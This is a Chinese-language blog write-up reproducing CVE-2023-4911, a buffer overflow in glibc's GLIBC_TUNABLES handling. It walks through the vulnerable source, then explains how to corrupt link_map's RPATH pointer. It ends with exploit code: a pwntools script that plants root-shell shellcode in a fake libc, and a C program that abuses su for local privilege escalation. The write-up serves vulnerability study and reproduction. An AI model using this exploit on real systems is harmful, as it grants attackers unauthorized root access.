「PWN」CVE-2023-4911 复现
最近接触到了这个洞,感觉利用面还是挺广的,虽然国内绝大多数机子似乎 libc 版本都挺低的(),总而言之先调调看看吧。
环境搭建
测试环境
OS: Ubuntu 22.04.1 LTS on Windows 10 x86_64
Kernel: 5.15.123.1-microsoft-standard-WSL2
Glibc: 2.35-0ubuntu3.3
测试效果

漏洞点
在执行 set-user-ID 和 set-group-ID 程序时,代码会以特权模式执行。在 commit 2ed18c(“Fix SXID_ERASE behavior in setuid programs (BZ #27471)”) (glibc2.34) 中引入了一个处理 GLIBC_TUNABLES 环境变量时的缓存区溢出漏洞。
我们可以观察一下 glibc 的源码
------------------------------------------------------------------------269 void270 __tunables_init (char **envp)271 {272 char *envname = NULL;273 char *envval = NULL;274 size_t len = 0;275 char **prev_envp = envp;...279 while ((envp = get_next_env (envp, &envname, &len, &envval,280 &prev_envp)) != NULL)281 {282 if (tunable_is_name ("GLIBC_TUNABLES", envname))283 {284 char *new_env = tunables_strdup (envname);285 if (new_env != NULL)286 parse_tunables (new_env + len + 1, envval);287 /* Put in the updated envval. */288 *prev_envp = new_env;289 continue;290 }------------------------------------------------------------------------在 __tunables_init() 函数定义这里,我们可以观察到它首先对 envname 进行了判断(#282),判断条件是 orig == envname,且后一位 envname == '=' && orig == '\0'。
static __always_inline booltunable_is_name (const char *orig, const char *envname){ for (;*orig != '\0' && *envname != '\0'; envname++, orig++) if (*orig != *envname) break;
/* The ENVNAME is immediately followed by a value. */ if (*orig == '\0' && *envname == '=') return true; else return false;}此后,它会对找到的 envname 进行 tunables_strdup 深拷贝(#284)
static char *tunables_strdup (const char *in){ size_t i = 0;
while (in[i++] != '\0'); char *out = __sbrk (i);
/* For most of the tunables code, we ignore user errors. However, this is a system error - and running out of memory at program startup should be reported, so we do. */ if (out == (void *)-1) _dl_fatal_printf ("sbrk() failure while processing tunables\n");
i--;
while (i-- > 0) out[i] = in[i];
return out;}对副本进行拷贝后,它将原本的 GLIBC_TUNABLES 过滤后替换为副本(利用 parse_tunables(),其中第一个参数是环境变量副本的值对应的指针,第二个参数是原始的环境变量的值的指针)

在 parse_tunables() 中,它会移除所有 arg1 里的危险 tunables( SXID_ERASE ),但会保留 SXID_IGNORE 和 NONE,关于这点我们后面再说。 GLIBC_TUNABLES 的格式为 GLIBC_TUNABLES=aaa=111:bbb=222,在前面都是对一些情况的判断,如没有赋值的情况等,但我们考虑一种情况:当我们的 GLIBC_TUNABLES=AAA=AAA=BBB 时,我们查看程序流:
// 第一次static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return;
char *p = tunestr; // >> [A]AA=AAA=BBB size_t off = 0;
while (true) { char *name = p; size_t len = 0;
/* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; // >> len = 3 /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; }
/* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; }
p += len + 1; // >> AAA=[A]AA=BBB
/* Take the value from the valstring since we need to NULL terminate it. */ char *value = &valstring[p - tunestr]; // >> AAA=[A]AA=BBB len = 0;
while (p[len] != ':' && p[len] != '\0') len++; // >> len=7
/* Add the tunable if it exists. */ for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) { tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name)) { /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. Tunable values take precedence over their envvar aliases. We write the tunables that are not SXID_ERASE back to TUNESTR, thus dropping all SXID_ERASE tunables and any invalid or unrecognized tunables. */ if (__libc_enable_secure) { if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) { if (off > 0) // off = 0 tunestr[off++] = ':';
const char *n = cur->name;
while (*n != '\0') tunestr[off++] = *n++; // [AAA]=AAA=BBB
tunestr[off++] = '='; // >> AAA[=]AAA=BBB
for (size_t j = 0; j < len; j++) tunestr[off++] = value[j]; // >> AAA=[AAA=BBB] }
if (cur->security_level != TUNABLE_SECLEVEL_NONE) break; // >> 触发 }
value[len] = '\0'; tunable_initialize (cur, value); break; } }
if (p[len] != '\0') // AAA=[A]AA=BBB(), 所以没进入 p += len + 1; }}// 第二次static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return;
char *p = tunestr; size_t off = 0;
while (true) { char *name = p; // AAA=[A]AA=BBB size_t len = 0;
/* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; // >> len = 3 /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; }
/* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; }
p += len + 1; // AAA=AAA=[B]BB
/* Take the value from the valstring since we need to NULL terminate it. */ char *value = &valstring[p - tunestr]; // AAA=AAA=[B]BB len = 0;
while (p[len] != ':' && p[len] != '\0') len++; // >> len=3
/* Add the tunable if it exists. */ for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) { tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name)) { /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. Tunable values take precedence over their envvar aliases. We write the tunables that are not SXID_ERASE back to TUNESTR, thus dropping all SXID_ERASE tunables and any invalid or unrecognized tunables. */ if (__libc_enable_secure) { if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) { if (off > 0) tunestr[off++] = ':'; // >> AAA=AAA=BBB[:]
const char *n = cur->name;
while (*n != '\0') tunestr[off++] = *n++; // >> AAA=AAA=BBB:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA[=]
for (size_t j = 0; j < len; j++) tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=[BBB] }
if (cur->security_level != TUNABLE_SECLEVEL_NONE) break; // >> 触发 }
value[len] = '\0'; tunable_initialize (cur, value); break; } }
if (p[len] != '\0') // AAA=AAA=BBB[:]AAA=BBB,所以没进入 p += len + 1; }}注意到此时我们已经溢出了 tunestr,但是还没完
// 第三次static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return;
char *p = tunestr; size_t off = 0;
while (true) { char *name = p; // AAA=AAA=BBB[:]AAA=BBB size_t len = 0;
/* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; // >> len = 0 /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; }
/* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; }// 第四次static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return;
char *p = tunestr; size_t off = 0;
while (true) { char *name = p; // AAA=AAA=BBB:[A]AA=BBB size_t len = 0;
/* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; // >> len = 3 /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; }
/* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; }
p += len + 1; // AAA=AAA=BBB:AAA=[B]BB
/* Take the value from the valstring since we need to NULL terminate it. */ char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0UNEX[P]ECTED_STRING\0 len = 0;
while (p[len] != ':' && p[len] != '\0') len++; // >> len=3
/* Add the tunable if it exists. */ for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) { tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name)) { /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. Tunable values take precedence over their envvar aliases. We write the tunables that are not SXID_ERASE back to TUNESTR, thus dropping all SXID_ERASE tunables and any invalid or unrecognized tunables. */ if (__libc_enable_secure) { if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) { if (off > 0) tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB[:]
const char *n = cur->name;
while (*n != '\0') tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=
for (size_t j = 0; j < len; j++) tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=[PEC] }
if (cur->security_level != TUNABLE_SECLEVEL_NONE) break; // >> 触发 }
value[len] = '\0'; tunable_initialize (cur, value); break; } }
if (p[len] != '\0') // AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC,进入 p += len + 1; // AAA=AAA=BBB:AAA=BBB:[A]AA=PEC }}// 第五次static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return;
char *p = tunestr; size_t off = 0;
while (true) { char *name = p; // AAA=AAA=BBB:AAA=BBB:[A]AA=PEC size_t len = 0;
/* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; // >> len = 3 /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; }
/* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; }
p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[P]EC
/* Take the value from the valstring since we need to NULL terminate it. */ char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0UNEXPECTED_S[T]RING\0 len = 0;
while (p[len] != ':' && p[len] != '\0') len++; // >> len=3
/* Add the tunable if it exists. */ for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) { tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name)) { /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. Tunable values take precedence over their envvar aliases. We write the tunables that are not SXID_ERASE back to TUNESTR, thus dropping all SXID_ERASE tunables and any invalid or unrecognized tunables. */ if (__libc_enable_secure) { if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) { if (off > 0) tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC[:]
const char *n = cur->name;
while (*n != '\0') tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA[=]
for (size_t j = 0; j < len; j++) tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=PEC:AAA=TRI }
if (cur->security_level != TUNABLE_SECLEVEL_NONE) break; // >> 触发 }
value[len] = '\0'; tunable_initialize (cur, value); break; } }
if (p[len] != '\0') // AAA=AAA=BBB:AAA=BBB:[A]AA={P}EC:AAA=TRI,进入 p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[P]EC:AAA=TRI }}下一次由于 tunable_is_name (cur->name, name) 不再满足,退出。
我们可以进行简单的测试:

利用思路
既然我们已经找到了漏洞点,那么我们就要思考如何利用它了。首先来看 tunestr,它是由 tunables_strdup 分配的。在这里,根据 commit 33237fe,已经将 sbrk 更换为了 __minimal_malloc() 函数(因此 glibc2.34 实际上无法使用这个 exp),观察函数可以知道它只是一个 mmap 的包装实现而已。此时我们观察 vmmap,发现此时可写的地方很少,只有 ld.so 本身的可读可写段(第一页是 RELRO 段,在后面会被 mprotect 改写为只读;不过第二页可以用),但是我们观察 __minimal_malloc,可以知道它至少分配两页,因此我们的缓存区不可能分配在 ld.so 的第二页。
Insufficient space left; allocate another page plus one extra page to reduce number of mmap calls.
因此我们只能溢出到 __minimal_malloc 分配出的页上。注意到 __tunables_init 可以处理多个环境变量,因此我们可以考虑这样:构建两个 GLIBC_TUNABLES 环境变量,第一个不溢出(长度大到不能被 ld.so 的读写段装下,而是使用 mmap 分配),第二个溢出(也同样长到使用 mmap 分配,由于 mmap 是从高到低分配的,所以这个会在第一个的下方),使其覆盖第一个 GLIBC_TUNABLES。
这里看原文+调试的时候稍微有点没理解,因为观察到第二个确实在 ld 下方,但是溢出不到第一个,是因为其实 EXP 并没有使用这种方法。EXP 的第一个
GLIBC_TUNABLES变量单纯用来填充满 ld.so 的读写段,而并非像这里提到的溢出。
然而这个思路是不可行的。如果覆盖第一个 GLIBC_TUNABLES,我们只有两个利用思路:
- 将其覆盖为
LD_PRELOAD或者LD_LIBRARY_PATH使其指向我们的恶意 ld 路径。但这是不可行的,因为这些环境变量后面在 ld 初始化时会经由process_envvars()被清除。 - 将其覆盖为
SXID_ERASE的 tunables 。根据漏洞点里提到的内容,它会清除属于SXID_ERASE的 tunables,而我们此时溢出时它已经被清理过了,因此写它是完全没有问题的。然而问题是在 Linux 下不存在这样一个 SUID-root 程序(既运行setuid(0)再execve其它程序,又在运行时保留之前的环境变量)(例如在 OpenBSD 上,/usr/bin/chpass会首先setuid(0)然后执行execve(/usr/sbin/pwd_mkdb))
但是在 _dl_new_object() 中(真不知道他们是怎么找到的这个调用链的,fuzz?),存在一个链表 link_map,它的内存其实是由 calloc 分配的,也就是我们的 __minimal_calloc,但是这个函数仅仅调用了 __minimal_malloc 而没有初始化为 0
根据 backtrace,在
_dl_sysdep_start+930的位置调用了__tunables_init,在_dl_sysdep_start+1020->dl_main+2403的地方调用了_dl_new_object,中间实在是隔了十座大山。
/* We use this function occasionally since the real implementation may be optimized when it can assume the memory it returns already is set to NUL. */void *__minimal_calloc (size_t nmemb, size_t size){ /* New memory from the trivial malloc above is always already cleared. (We make sure that's true in the rare occasion it might not be, by clearing memory in free, below.) */ size_t bytes = nmemb * size;
#define HALF_SIZE_T (((size_t) 1) << (8 * sizeof (size_t) / 2)) if (__builtin_expect ((nmemb | size) >= HALF_SIZE_T, 0) && size != 0 && bytes / size != nmemb) return NULL;
return malloc (bytes);}这原本是合理的,因为根据 __minimal_malloc 的逻辑,它总是返回全 0 的内存块,但是当我们有了一个缓存区溢出后就不一样了。根据 exp 加上我们的测试,这个返回的内存块距离我们的第二个 GLIBC_TUNABLES 变量仅有 0xc40 的距离,这是完全够我们覆盖的。

原文里说 but we failed because of two assert()ion failures in setup_vdso(), which immediately abort() ld.so,但是我测试修改 l_next 和 l_prev 时并没有报 assert(我仅仅修改了第一个的 l_next 和 l_prev),且查看 _dl_new_object 的代码,返回的是新的链表头,也不应该有错误,所以我估计是溢出太多溢到了第二个 link_map,也就是 setup_vdso 所调用返回的 link_map,所以这里是否能直接修改有待挖掘,在本文中,我们继续按照原文思路。
既然我们可以修改 l_next 和 l_prev,那自然其它 link_map 的指针我们也能修改,其中最值得关注的就是 l_info,因为它是一个 Elf64_Dyn 结构体的指针数组。其中 l_info[DT_RPATH] 这个指针可以指定我们的运行时 ld 搜索目录。我们只要覆盖这个指针,控制它指向的位置和内容,就可以让 ld.so 强制信任我们自己的 libc.so.6 或者是 LD_PRELOAD 库。那么控制这个指针指向的位置是什么呢?思考我们可以控制的位置,除了这几个可写的段,就是环境变量所处的栈了。显然写在栈上会更方便一些。
根据 bprm_stack_limit(),可以知道我们使用 argv + envp 最多占用 6MB(8MB / 4 _ 3) 的内存大小。而在 AMD64 的情况下,栈在虚拟地址空间中首先会从 2 << 47 处开始分配 STACK_TOP,然后进行 randomize_stack_top,如果在 ASLR 开启的情况下,就会进行偏移。这个偏移范围是 0x3fffff _ PAGE_SIZE,也就是 16GB 的范围,具体可以从arch/x86/include/asm/elf.h 找到 STACK_RND_MASK 的值。
unsigned long randomize_stack_top(unsigned long stack_top){ unsigned long random_variable = 0;
if (current->flags & PF_RANDOMIZE) { random_variable = get_random_long(); random_variable &= STACK_RND_MASK; random_variable <<= PAGE_SHIFT; }#ifdef CONFIG_STACK_GROWSUP return PAGE_ALIGN(stack_top) + random_variable;#else return PAGE_ALIGN(stack_top) - random_variable;#endif}因此,如果我们将 l_info[DT_RPATH] 指向的地址改为栈区域的中心再减掉我们 envp 的偏移(其实也不用,毕竟范围挺大了),也就是大概 0x7ffdfffff030 的位置,那么我们就有 $6MB/16GB\approx \frac{1}{2730}$ 的概率击中我们的输入。现在的问题就是我们要输入什么?
让我们来看 l_info[DT_RPATH],这是一个 Elf64_Dyn 指针,存在时,它将会运行 decompose_rpath 来信任目录(相对目录)。值得注意的是,这里它的计算是采用 (D_PTR (l, l_info[DT_STRTAB]) + l->l_info[DT_RPATH]->d_un.d_val 来操作的。对于这个宏,因为 amd64 已经进行了 ld 重定位,因此我们可以直接计算。它其实指向的是 l_info[DT_STRTAB]->d_un.d_ptr + l_info[DT_RPATH]->d_un.d_val 的位置。
if (l->l_info[DT_RPATH]) { /* Allocate room for the search path and fill in information from RPATH. */ decompose_rpath (&l->l_rpath_dirs, (const void *) (D_PTR (l, l_info[DT_STRTAB]) + l->l_info[DT_RPATH]->d_un.d_val), l, "RPATH"); /* During rtld init the memory is allocated by the stub malloc, prevent any attempt to free it by the normal malloc. */ l->l_rpath_dirs.malloced = 0; }
#define D_PTR(map, i) \ ((map)->i->d_un.d_ptr + (dl_relocate_ld (map) ? 0 : (map)->l_addr))那么这个内存中有什么呢?给出如下内存布局。可以看到分别对应 d_tag 和 d_ptr/d_val。$9 也就是 l_info[DT_STRTAB],0xcff0 也就是 l_info[DT_STRTAB]->d_un.d_ptr 的位置。我们观察它的前后,就能在 -0x14 的位置发现一个单独的 ",这显然很适合作为我们的目录。我们只需要使得 l_info[DT_RPATH]->d_un.d_val 的位置填入 0xffffffffffec 即可指向我们的 " 目录。

但是此时我们还有最后一个问题:我们要溢出到 l_info[RT_PATH],但不能修改 l_prev 和 l_next(如果可能,我们希望其它也是 NULL 来规避一些其它的检查)此时回到 parse_tunables 函数,我们可以发现它拷贝是使用的栈上的数据,因此拷贝 NULL 字节显然是可行的。
// 第四次static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return;
char *p = tunestr; size_t off = 0;
while (true) { char *name = p; // AAA=AAA=BBB:[A]AA=BBB size_t len = 0;
/* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; // >> len = 3 /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; }
/* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; }
p += len + 1; // AAA=AAA=BBB:AAA=[B]BB
/* Take the value from the valstring since we need to NULL terminate it. */ char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0\0\0\0\0[\0]\0\0 len = 0;
while (p[len] != ':' && p[len] != '\0') len++; // >> len=3
/* Add the tunable if it exists. */ for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) { tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name)) { /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. Tunable values take precedence over their envvar aliases. We write the tunables that are not SXID_ERASE back to TUNESTR, thus dropping all SXID_ERASE tunables and any invalid or unrecognized tunables. */ if (__libc_enable_secure) { if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) { if (off > 0) tunestr[off++] = ':'; // >> AAA=AAA=BBB:AAA=BBB[:]
const char *n = cur->name;
while (*n != '\0') tunestr[off++] = *n++; // >> AAA=AAA=BBB:AAA=BBB:[AAA]
tunestr[off++] = '='; // >> AAA=AAA=BBB:AAA=BBB:AAA=
for (size_t j = 0; j < len; j++) tunestr[off++] = value[j]; // >> AAA=AAA=BBB:AAA=BBB:AAA=[\0\0\0] }
if (cur->security_level != TUNABLE_SECLEVEL_NONE) break; // >> 触发 }
value[len] = '\0'; tunable_initialize (cur, value); break; } }
if (p[len] != '\0') // AAA=AAA=BBB:AAA=[B]BB{:}AAA=PEC,进入 p += len + 1; // AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0 }}// 第五次static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return;
char *p = tunestr; size_t off = 0;
while (true) { char *name = p; // AAA=AAA=BBB:AAA=BBB:[A]AA=\0\0\0 size_t len = 0;
/* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; // >> len = 3 /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; }
/* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; }
p += len + 1; // AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0
/* Take the value from the valstring since we need to NULL terminate it. */ char *value = &valstring[p - tunestr]; // AAA=AAA=BBB\0\0\0\0\0\0\0\0\0\0\0\0\0[\0]\0\0 len = 0;
while (p[len] != ':' && p[len] != '\0') len++; // >> len=0
/* Add the tunable if it exists. */ for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) { tunable_t *cur = &tunable_list[i];
if (tunable_is_name (cur->name, name)) { /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. Tunable values take precedence over their envvar aliases. We write the tunables that are not SXID_ERASE back to TUNESTR, thus dropping all SXID_ERASE tunables and any invalid or unrecognized tunables. */ if (__libc_enable_secure) { if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) { if (off > 0) tunestr[off++] = ':'; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0[:]
const char *n = cur->name;
while (*n != '\0') tunestr[off++] = *n++; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:[AAA]
tunestr[off++] = '='; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA=
for (size_t j = 0; j < len; j++) tunestr[off++] = value[j]; // AAA=AAA=BBB:AAA=BBB:AAA=\0\0\0:AAA= }
if (cur->security_level != TUNABLE_SECLEVEL_NONE) break; // >> 触发 }
value[len] = '\0'; tunable_initialize (cur, value); break; } }
if (p[len] != '\0') // AAA=AAA=BBB:AAA=BBB:AAA=[\0]\0\0:AAA= p += len + 1; }}// 下一次退出因此,我们攻击链已经很明显了:构建一个恶意的 libc.so.6 放在 " 目录下,然后溢出 l_info[RT_PATH] 指向栈上,栈上存上大量的 0xffffffffffcb,只要命中,就会信任我们的恶意 libc.so.6,从而拿到 root。
exp
接下来就是攻击脚本编写了。首先我们构建恶意的 libc.so.6。通过将 __libc_start_main 改写为 shellcode(setuid(0) + setgid(0) + sh()) 即可做到。
from pwn import *
context(arch='amd64', os='linux')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
d = bytearray(open(libc.path, 'rb').read())idx = d.find(libc.read(libc.symbols['__libc_start_main'], 0x10))
sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())
d[idx:idx+len(sc)] = sc
mkdir_p('"')open('"/libc.so.6', 'wb').write(d)我们首先要填满 ld.so 的读写段,让我们后面的攻击在另一个新开的段上,在这里,使用 0x1000 左右大小的即可。
此时,我们需要知道 l_info[RT_PATH] 的偏移。由于 __minimal_malloc 将会立即在我们的第二个 GLIBC_TUNABLES 后面开辟内存,所以任何溢出都会导致它 l_prev 之类的位置被改写,想要将它放到一个较为安全的位置,我们可以考虑再多加第三个 GLICB_TUNABLES 作为分割。

首先我们计算第一次溢出了多少字节::<NAME>=*2 + <VALUE>,然后来到环境变量之后的 :<NAME>= 的偏移处,继续拷贝并溢出 len(<VALUE>) 个字节,后面的我们不再考虑。在我们这里,我们的 :<NAME>= 为 21 字节。经过计算,拷贝的第一个字节在 0x5f1 处,对应 envp[2+0x14],而 l_info[RT_PATH] 在 0x6d8 处,对应 envp[2+0x14+(0x6d8-0x5f1)]=envp[0xfd]。我们测试一下

可以看到确实成功了。此时我们就可以修改它指向栈上了。在这里,我们填充 5MB 的 -0x14。

可以看到,此时参数已经全部准备完毕。

成功加载恶意 libc


最终 exp,需要断在 dl-object.c:92 处手动设置 l_info[RT_PATH] 为栈上的地址,否则得要写一个循环爆破,懒得写了。
// gcc -DNO_ASLR exp.c -g -o exp#include <stdlib.h>#include <string.h>#include <stdio.h>
int main() { char *envp[0x1000] = {NULL}; char *argv[] = {"/usr/bin/su", "--help", NULL};
// 初始化 envp for (int i = 0; i < 0xfff; i++) { envp[i] = ""; }
// 填满 ld.so 读写段 char p[0xd00]; strcpy(p, "GLIBC_TUNABLES=glibc.malloc.mxfast="); for (int i = strlen(p); i < sizeof(p) - 1; i++) { p[i] = 'A'; } p[sizeof(p) - 1] = '\0'; envp[0] = p;
// overflow char overflow[0x300]; strcpy(overflow, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); // 55 for (int i = strlen(overflow); i < sizeof(overflow) - 1; i++) { overflow[i] = 'B'; } overflow[sizeof(overflow) - 1] = '\0'; envp[1] = overflow;
// 分割块 char p2[0x300]; strcpy(p2, "GLIBC_TUNABLES=glibc.malloc.mxfast="); for (int i = strlen(p2); i < sizeof(p2) - 1; i++) { p2[i] = 'C'; } p2[sizeof(p2) - 1] = '\0'; envp[0x500] = p2;
// 栈 char dt_rpath[0x10000]; // 1MB for( int i = 0; i<sizeof(dt_rpath); i+=8) { *(unsigned long long *)&dt_rpath[i] = -0x14; } for (int i = 0xff0; i < 0xff6; i++) { envp[i] = dt_rpath; } envp[0xff6] = "AAAAA"; // alignment envp[0xfd] = "MuElnova";
execve(argv[0], argv, envp);}修复
通过检测输入是否完成( p[len] == '\0')来修复。

备注
如何构建不同版本的 GLIBC?
在 PoC 发布时,GNU 已经发布了 GLIBC 2.35-0ubuntu3.4,且删除了在软件源中的 GLIBC 2.35-0ubuntu3.3,因此我们必须降级安装。
2.35-0ubuntu3.3 : glibc package : Ubuntu (launchpad.net),不同的版本搜索就行了。
# 需要同时安装 amd64/i386 的 tarball# https://launchpad.net/ubuntu/jammy/i386/libc6/2.35-0ubuntu3.3# https://launchpad.net/ubuntu/jammy/amd64/libc6/2.35-0ubuntu3.3# Downloadable files
dpkg -i libc6_2.35*.deb参考资料
oss-sec: CVE-2023-4911: Local Privilege Escalation in the glibc’s ld.so (seclists.org)